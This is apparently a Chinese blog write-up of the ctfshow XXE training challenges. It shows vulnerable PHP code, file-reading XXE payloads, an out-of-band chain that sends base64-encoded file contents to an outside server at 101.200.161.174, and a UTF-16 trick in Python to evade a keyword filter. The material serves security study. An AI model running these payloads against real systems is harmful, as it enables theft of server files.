首页 > 其他分享 >ctfshow--web入门--XXE

ctfshow--web入门--XXE

时间:2023-08-13 16:57:50浏览次数:53  
标签:__ web -- LIBXML ctfshow file payload

ctfshow--web入门--XXE

web373

源码

<?php

error_reporting(0);
libxml_disable_entity_loader(false);		//允许加载外部实体
$xmlfile = file_get_contents('php://input');		//使用php伪协议进行接收值,并进行文件读取
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);		//解析xml文档
    $creds = simplexml_import_dom($dom);
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}
highlight_file(__FILE__);    

payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[
<!ENTITY hack SYSTEM "file:///flag">
]>
<user><ctfshow>&hack;</ctfshow></user>

web374

源码

<?php

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

这一关是无回显读取文件
采用oob进行XXE注入
在服务器上构造一个用于接受保存数据得页面get.php

<?php
$data=$_GET["file"];
$myfile=fopen("file.txt","w");
fwrite($myfile,$data);
fclose($myfile);
?>

构造remote.dtd外部DTD文件用于将数据赋值给get.php

<!ENTITY % all "<!ENTITY send SYSTEM 'http://101.200.161.174/get.php?file=%file'>">

最终发送的payload为

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://101.200.161.174/remote.dtd">
%remote;
%all;
]>
<hack>&send;</hack>

web375

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

这一关过滤了xml声明标签还有version关键字,把payload中的xml声明去掉即可

web376

同上

web377

源码

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

这里增加了对http关键字得过滤,可以采用编码得方式进行绕过。这里我在brup上直接编码发送没有成功,然后看了其他人得解法,用的python进行了utf-16得编码然后发包。至于为什么要这样我也不太清楚,有没有大佬知道为什么,指点一下小弟。

payload

import requests

url = 'http://55a6087a-6b0d-4475-82b4-2cb8b6ff97c1.challenge.ctf.show/'
data = """<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://101.200.161.174/remote.dtd">
%remote;
%all;
]>
<hack>&send;</hack>"""

requests.post(url ,data=data.encode('utf-16'))
print("done!")

web378

在这里插入图片描述
这一关和xxe-lab中很相似,直接抓包构造payload即可

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "file:///flag">
]>
<user><username>&file;</username><password>123</password></user>

参考文章

CTF XXE
ctfshow web入门xxe
ctfshowXXE

以上内容仅作参考学习,如有瑕疵或错误,希望各位师傅们斧正,感谢阅读。

标签:__,web,--,LIBXML,ctfshow,file,payload
From: https://www.cnblogs.com/Pengj/p/17626781.html

相关文章

  • 第九章 项目资源管理
    规划资源管理规划资源管理的过程:(1)工具与技术责任分配矩阵:RICA⭐组织理论:(2)输出资源管理计划:权力角色的划分:资源管理计划:强调的是记录责任分配矩阵:是一个责任分配的工具,强调划分过程团队章程:⭐ 估算活动资源估算活动资源的过程:(1)输入资源日历:获取资源......
  • Django实现文件上传、文件列表查看、修改、限流和日志记录4
    Django实现文件上传、文件列表查看、修改、限流和日志记录4本章添加用户认证功能,属于安全模块。用户认证在Django中,默认情况下,用户的用户名和密码是存储在数据库中的。Django提供了内置的用户模型(User模型),它可以管理用户的认证和授权。配置数据库在file_upload/settings.py......
  • Web通用漏洞--文件上传
    Web通用漏洞--文件上传概述文件上传安全指的是攻击者通过利用上传实现后门的写入连接后门进行权限控制的安全问题,对于如何确保这类安全问题,一般会从原生态功能中的文件内容,文件后缀,文件类型等方面判断,但是漏洞可能不仅在本身的代码验证逻辑中出现安全问题,也会在语言版本,语言函数......
  • 第十章 项目沟通管理
    规划沟通管理沟通渠道数量:(n(n-1))/2规划沟通管理的过程:(1)工具与技术沟通技术:沟通模型:沟通方法:沟通方法举例子:文化意识:(2)输出沟通管理计划:管理沟通管理沟通的过程:(1)工具与技术会议管理:监督沟通监督沟通的过程:     ......
  • 【RL】L7-Temporal-difference learning
    TDlearningofstatevaluesThedata/experiencerequiredbythealgorithm:\(\left(s_0,r_1,s_1,\ldots,s_t,r_{t+1},s_{t+1},\ldots\right)\)or\(\left\{\left(s_t,r_{t+1},s_{t+1}\right)\right\}_t\)generatedfollowingthegivenpolicy......
  • 第十一章 项目风险管理
    规划风险管理规划风险管理的过程:(1)输出风险管理计划:相关方风险偏好:几种分解结构的区别:识别风险识别风险的过程:(1)工具与技术核对单:SWOT分析:(2)输出风险登记册:关于风险的几个文件:实施定性风险分析实施定性分析的过程:主观的猜测行为,去定优先级(1)工具与技......
  • 2023.32 AI架构
    AI架构是指在设计和构建人工智能系统时所采用的整体结构和组织方式。AI架构通常由多个组件和层次组成,每个组件负责不同的任务和功能。以下是一种常见的AI架构:数据层:AI系统的基础是数据。数据层负责数据的收集、存储和准备工作。这包括数据的获取、清洗、预处理和转换,以使其适合后......
  • Wireshark使用
    WireShark是非常流行的网络封包分析工具,可以截取各种网络数据包,并显示数据包详细信息。常用于开发测试过程中各种问题定位。本文主要内容包括:1、Wireshark软件下载和安装。2、WireShark工作原理及优势。3、Wireshark使用过程。一.Wireshark软件下载及安装软件下载路......
  • 周日 Filter
    importjavax.servlet.*;importjavax.servlet.annotation.WebFilter;importjava.io.IOException;//@WebFilter("/hello.jsp")@WebFilter("/*")publicclassFilterDemo2implementsFilter{@OverridepublicvoiddoFilter(ServletR......
  • Auto-registering all your components in Vue 3 with Vite
    Auto-registeringallyourcomponentsinVue3withVite#vue#vitejs#componentsWhyauto-registercomponents?I'mactuallyabigfanofmanuallyimportingcomponentsinVueapplications.Itmakesitveryclearwhereeverycomponentcomesfrom,does......